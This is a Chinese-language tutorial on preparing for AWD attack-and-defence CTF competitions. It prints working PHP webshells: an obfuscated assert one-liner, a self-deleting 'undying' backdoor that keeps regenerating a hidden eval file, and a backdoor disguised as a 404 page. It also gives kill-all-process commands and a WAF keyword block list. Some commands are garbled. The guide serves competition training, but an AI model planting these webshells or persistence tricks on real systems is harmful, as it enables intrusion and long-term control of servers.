教你AWD比赛攻防怎么准备?内含脚本解析

HarmonyOS

  Attack With Defence

  攻防兼备--赛制

  比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍进行得分,修复本服务器漏洞可以避免被其他队伍攻击导致失分。

  1.一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下)

  2.可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析(视比赛情况而定)

  3.flag在主办方的设定下每隔一定时间刷新一轮

  4.各队一般都有自己的初始分数

  5.flag一旦被其他队伍拿走,该队扣除一定分数

  6.扣除的分数由获取flag的队伍均分

  7.主办方会对每个队伍的服务进行check(检查服务是否正常),服务宕机扣除本轮flag分数,扣除的分值由服务check正常的队伍均分

  8.一般每个队伍会给一个低权限用户,非root权限

  (具体规则以具体比赛规则为准)

  先理清网络拓扑关系,节点与各链路间的关联。

  比赛分工

  线下赛一般3个人左右,2人攻击,1人防御,发现的漏洞可以攻击其他队伍,也要修复,攻防相辅相成,以攻为守。

  竞赛题型

  主要题型为Web和Pwn,涉及语言多数为PHP,还有少量java、python。

  Web主要是一些CMS和框架安全漏洞,如注入、上传、反序列化等,依赖已知漏洞。

  竞赛流程

  一般比赛会将加固环节和攻击环节分开,先统一加固后再进行攻击。

  赛前信息确认

  1.比赛名称

  2.IP白名单:白名单一般用于防止外部恶意攻击,如果赛方发现名单以外IP可能会进行封禁处理。

  3.用户登录服务器,如:账号test01密码test01@123,端口3322,linux系统,登陆工具xshell、finalshell等。

  4.token认证:token主要用于脚本身份凭证,用于自动化提交鉴别,虚拟IP为靶机访问网址。

  5.服务器端口:主要用于扫描其他选手靶机用来攻击获取到根目录flag并提交得分。

  6.flag提交处

  7.接口:api:https://xxxx.com/submit/?token=[token]&flag=[flag{123456}](根据实际规则去更改)

  AWD赛事

  服务器登录:通过ssh连接服务器,拿到网络拓扑,与队友分工,检查有无弱口令,有的话对密码进行修改(越复杂越好)。web服务后台登录也有可能存在弱口令,一般admin:admin、admin:123456,需要立即修改,以免被getshell。比赛开始前要第一时间备份服务器中web目录下的文件(/var/www/html),如果服务器在比赛中出现异常的情况,可以立即恢复到初始状态。一般比赛可以提供3次左右的恢复设置的机会(可能会扣分),比赛时同时要备份数据文件。文件监控、端口扫描等……

  Attack

  信息收集主机探测一般用

  nmap、httpscan

  查看主机ip

  ipconfig windows

  ifconfig linux

  扫描C段存活主机

  nmap -sn 192.168.0.0/24 扫描C段主机

  httpscan.py 192.168.0.0/24 -t 30 扫描C段主机+线程

  端口探测

  一般先收集自己的主机端口信息,挂后台全端口扫描防止端口遗漏

  nmap -sV 192.168.0.1 扫描主机系统版本

  nmap -sS 192.168.0.1 扫描主机常用端口

  nmap -sS -p 80,445,3306,8080,8888 192.168.0.1 扫描主机部分端口

  nmap -sS -p- 192.168.0.1 扫描主机全部端口

  nmap官方文档:https://nmap.org/man/zh/man-host-discovery.html

  httpscan主机探测

  应用发现

  组件发现

  find / -name "nginx.conf" 定位nginx目录

  find / -path "nginx" -name nginxconf 定位nginx配置目录

  find / -name "httpd.conf" 定位apache目录

  find / -path "apache" -name apacheconf 定位apache配置目录

  网站发现

  find / -name "index.php" 定位网站目录

  日志发现

  /var/log/nginx/ 默认nginx日志目录

  /var/log/apache/ 默认apache日志目录

  /var/log/apache2/ 默认apache日志目录

  /usr/local/tomcat/logs tomcat日志目录

  tail -f xxxx.log 实时刷新滚动日志文件

  备份扫描

  扫描工具BakFileScan、dirsearch

  查找预留后门

  有的比赛为了照顾其他选手,赛事方会预留一句话后门,可利用漏洞攻击,可利用这个漏洞维持权限,达到每轮得分。将整个web目录下载到本地,使用hm.exe、D盾或者其他扫描工具得出

  提前准备脚本

  代码审计

  用于发现漏洞,进行漏洞修复

  一句话木马

  <?php $a = chr(96^5);$b = chr(57^79);$c = chr(15^110);$d = chr(58^86);$e = '($_REQUEST[C])';@assert($a.$b.$c.$d.$e);?>配置为?b=))99)rhC(tseuqeR+lave

  不死马

  <?phpignore_user_abort(true);set_time_limit(0);unlink(__FIlE__);$file = '1.php';$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);}?>';while(1){ file_put_contents($file,$code); system('touch -m -d "2022-5-26 10:20:00" .1.php'); usleep(5000);}?>

  杀掉不死马

  上传上面的不死马并访问,就会一直生成.1.php的一句话木马(文件名前加一个点,能更好地隐藏文件)想要结束这个进程,先查看进程,查看对应的pid,再执行。

  <?phpwhile(1){ $pid = 1234; @unlink('.1.php'); exec('kill -9 $pid');}?>

  建立一个和不死马一样名字的文件夹,这样不死马就写不进去

  rm -rf .1.php

   mkdir .1.php

  执行system('kill -9 -1')

  shell.php?shell=system('kill -9 -1');

  重启服务

  apache、web

  但要求有一定的权限root

  攻击利用攻击主机端口

  利用未授权访问漏洞和弱口令漏洞

  工具:hydra(九头蛇)、弱口令暴力破解工具等

  攻击Web服务

  Web后台弱口令

  漏洞资料库

  已知漏洞检测工具

  权限提升

  一般提权 https://cloud.tencent.com/developer/article/1942516

  提权脚本 https://github.com/SecWiki/linux-kernel-exploits

  权限维持

  拿到webshell后,需要进行维持权限,简单的webshell会被一眼识破,在AWD中使用不死马、反弹shell等留后门方式维持权限。

  隐藏的文件读取

  header(php'flag:',file_get_contents('/tmp/flag'));

  可以的话,将flag信息直接读取并返回到header头中

  快速得分

  编写python脚本或利用curl工具进行批量获取flag

  脚本or框架

  Defence

  网站备份

  目的是防止修改源码出错,或者被对手恶意删除源码,或者快速恢复网站防止被裁判组check探测服务存活失败而丢分。

  压缩文件

  tar -cvf web.tar /var/www/html

  zip -q -r web.zip /var/www/html

  解压文件

  tar -xvf web.tar -c /var/www/html

  unzip web.zip -d /var/www/html

  备份到服务器

  mv web.tar /tmp

  mv web.zip /home/test

  上传下载文件

  scp username@servername:/path/filename /tmp/local_destination 从服务器下载单个文件到本地

  scp /path/local_filename username@servername:/path 从本地上传单个文件到服务器

  scp -r username@servername:remote_dir/ /tmp/local_dir 从服务器下载整个目录到本地scp -r /tmp/local_dir username@servername:remote_dir 从本地上传整个目录到服务器

  SSH相关工具

  xshell

  secureCRT

  finalshell

  FTP相关工具

  FileZilla

  WinSCP

  SmartFTP

  数据备份

  数据库配置信息一般可以通过如config.php/web.conf等文件获取。

  备份指定数据库mysqldump -u username -p passwd databasename > bak.sql

  备份所有数据库mysqldump -all -databases > bak.sql

  导入数据库mysql -u username -p passwd database < bak.sql

  信息搜集

  netstat -ano/-a 查看端口情况

  uname -a 系统信息

  ps -aux ps -ef 进程信息

  cat /etc/passwd 用户情况

  ls /home 用户情况

  id 用于显示用户id及所属群组id

  find / -type d -perm -002 可写目录检查

  grep -r "flag" /var/www/html 查找默认flag

  口令更改

  信息收集后,将未授权和弱口令问题及时修复,服务器ssh口令、数据库口令和web服务口令

  passwd username ssh口令修改

  set password for mycms@localhost = password('123'); MySQL密码修改

  find /var/www/html -path 'config' 查找配置文件中的密码凭证

  备份检查

  find /var/www/html -name ".tar"

  find /var/www/html -name ".zip"

  后门查杀

  通过命令查看可疑文件

  find /var/www/html -name .php -mmin -20 查看最近20分钟修改文件

  find ./ -name '.php'

   xargs wc -l

   sort -u 寻找行数最短文件

  grep -r --include=.php 'a-zeval($_POST' /var/www/html 查看包含关键字的php文件

  find /var/www/html -type f -name ".php"

   xargs grep "eval("

  more

  查杀:河马webshell和D盾查杀

  <?php@eval($_GET['cmd']);?>

  <?php@eval($_POST['cmd']);?>

  <?php@eval($_REQUESTS['cmd']);?><%Runtime.getRuntime().exec(request.getParameter('cmd'));%>

  <%eval request("cmd")%>

  <%execute(request("cmd"))%>

  写木马杀死不死马进程

  <?php system("kill -9 pid;rm -rf .shell.php");?>

  后门用户查杀:UID大于500的都是非系统账号,500以下的都为系统保留的账号使用userdel -r username 删除账户

  部分后门过于隐蔽,可使用ls -al查看所有文件及文件修改时间和内容进行综合判断,进而删除

  伪装后门

  <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 NOT FOUND</title></head><body><h1>NOT FOUND</h1><p>The requested URL was not found on this server.</p></body></html><?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft");header('HTTP/1.1 404 NOT FOUND');?>关闭进程ps -auxkill -9 pid

  关闭端口

  netstat -anp

  firewall-cmd --zone=public --remove-port=80/tcp -permanent 关闭端口

  firewall-cmd -reload 重载防火墙

  漏洞修复

  漏洞修复遵循保证服务不长时间宕机的情况下进行修复,多使用安全过滤函数,能修复尽量修复,不能修复先注释或删除相关代码,但需保证页面显示正常。

  可以下载文件到本地进行修改后上传到服务器进行覆盖操作,也可通过vim编辑器进行代码修复

  操作参考:https://www.cnblogs.com/iAmSoScArEd/p/10651947.html

  文件监控

  文件监控可及时发现木马文件生成,及时删除防止丢分

  https://github.com/TheKingOfDuck/FileMonitor

  使用系统chattr +i命令linux下的文件有隐藏属性,可用lsattr命令查看。其中有一个i属性,表示不得更改任意文件或目录,若已经有root或者sudo权限,即可使用chattr +i修改文件隐藏属性,这样所有用户都不能对该文件或目录进行修改删除等操作,若想进行修改,必使用chattr -i取消隐藏属性。

  防止系统中某个关键文件被修改

  chattr +i /etc/profile

  将/var/www/html目录下的文件设置为不允许任何人修改

  chattr -R +i /var/www/html

  使用python的第三方库pyinotify

  python setup.py install

  python -m pyinotify monitoring_path

  部署WAF

  waf.php

  <?phperror_reporting(0);define('LOG_FILENAME', 'log.txt'); function waf() { if (!function_exists('getallheaders')) { function getallheaders() { foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value; } return $headers; } } $get = $_GET; $post = $_POST; $cookie = $_COOKIE; $header = getallheaders(); $files = $_FILES; $ip = $_SERVER["REMOTE_ADDR"]; $method = $_SERVER['REQUEST_METHOD']; $filepath = $_SERVER["SCRIPT_NAME"]; //rewirte shell which uploaded by others, you can do more foreach ($_FILES as $key => $value) { $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']); file_put_contents($_FILES[$key]['tmp_name'], "virink"); } unset($header['Accept']); //fix a bug $input = array( "Get" => $get, "Post" => $post, "Cookie" => $cookie, "File" => $files, "Header" => $header ); //deal with $pattern = "select

  insert

  update

  delete

  and

  or

  \'

  /\*

  \*

  \.\./

  \./

  union

  into

  load_file

  outfile

  dumpfile

  sub

  hex"; $pattern.= "

  file_put_contents

  fwrite

  curl

  system

  eval

  assert"; $pattern.= "

  passthru

  exec

  system

  chroot

  scandir

  chgrp

  chown

  shell_exec

  proc_open

  proc_get_status

  popen

  ini_alter

  ini_restore"; $pattern.= "

  `

  dl

  openlog

  syslog

  readlink

  symlink

  popepassthru

  stream_socket_server

  assert

  pcntl_exec"; $vpattern = explode("

  ", $pattern); $bool = false; foreach ($input as $k => $v) { foreach ($vpattern as $value) { foreach ($v as $kk => $vv) { if (preg_match("/$value/i", $vv)) { $bool = true; logging($input); break; } } if ($bool) break; } if ($bool) break; }}function logging($var) { date_default_timezone_set("Asia/Shanghai");//修正时间为中国准确时间 $time=date("Y-m-d H:i:s");//将时间赋值给变量$time file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APP); // die() or unset($_GET) or unset($_POST) or unset($_COOKIE); }waf();?>取决于比赛规则

  常见PHP网站系统WAF添加路径

  DiscuzX2 \config\config_global.php

  Wordpress \wp-config.php

  Metinfo \include\head.php

  PHPCMS V9 \phpcms\base.php

  PHPWIND8.7 \data\sql_config.php

  DEDEcms \data\common.inc.php

  常用命令

  ssh <-p port> username@ip

  scp filepath username@ip:存放路径

  cat /root/.bash_historylast -n 5

  awk '{print $!}' 显示最近登录的5个账号

  cat /etc/passwd

  awk -F ':' '{print $1}' 显示/etc/passwd的账户

  awk -F: '{if($3==0)print $1}' /etc/passwd 查看UID为0的账号

  find . -name ".php" -perm 4777 查找权限777的文件

  find ./ -mtime 0 -name ".php" 查找24小时内被修改的PHP文件

  netstat -antulp

   grep EST 查看已建立的网络连接及进程

  lsof -i:port

  netstat -tunlp

  grep port 查看指定端口被哪个进程占用

  iptables -I INPUT -s source_ip[/mask] -j DROP 封杀某个IP或IP段

  iptables -t filter -A INPUT -s source_ip[/mask] -p tcp --dport 22 -j DROP 禁止从某个主机ssh远程访问登陆到本机

  crontab [-u user] file_name crontab [-u user] [-e

  -l

   -r] 定时任务,在固定的时间间隔执行指定的系统指令或shell script

  netstat -ant

  awk

  grep

  sed -e -e

  sort

  uniq -c

  sort -rn 检测所有的tcp连接数量及状态

  cat /var/log/apache2/access.log

  cut -f1 -d

  sort

  uniq -c

  sort -k -r

  head - 查看页面访问排名前十的IP

  cat /var/log/apache2/access.log

  cut -f4 -d

  sort

  uniq -c

  sort -k -r

  head -查看页面访问排名前十的URL

  网络控制

  只开放一些比赛用的必要端口,防止后门连接

  开放ssh

  iptables -A INPUT -p tcp --dport 22 -j ACCEPT

  iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT

  打开80端口

  iptables -A INPUT -p tcp --dport 80 -j ACCEPT

  iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT

  开启多端口简单用法

  iptables -A INPUT -p tcp -m multiport --dport 22,80,8080 -j ACCEPT

  限制IP连接数和连接速率

  iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT 单个IP的最大连接数为30

  iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT

  iptables -t filter -A FORWARD -s 1.1.1.1 -d 1.1.1.2 禁止从客户机1.1.1.1访问1.1.1.2上的任何服务

  iptables -I INPUT -s 1.1.1.1 -j DROP 封杀1.1.1.1这个IP

  过滤异常报文

  iptables -A INPUT -p tcp --tcp-flags SYN,FIN,ACK,RST SYN 表示SYN FIN ACK RST的标识都检查,但只匹配SYN标识

  iptables -A INPUT -p tcp --syn 匹配SYN标识位iptables -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP 检查所有的标识位,匹配到FIN URG PSH的丢弃

  iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP 丢弃没标识位的包

  iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP 匹配到SYN RST的丢弃

  iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT 防DDOS

  流量分析

  在比赛机器上使用命令进行流量抓取

  tcpdump -s 0 -w flow_log.pcap port 9999

  日志分析

  analys_log.php

  防守框架

  PS:作为一名AWD比赛选手,我们也要做好写批量获取及提交脚本的准备奥

标签: HarmonyOS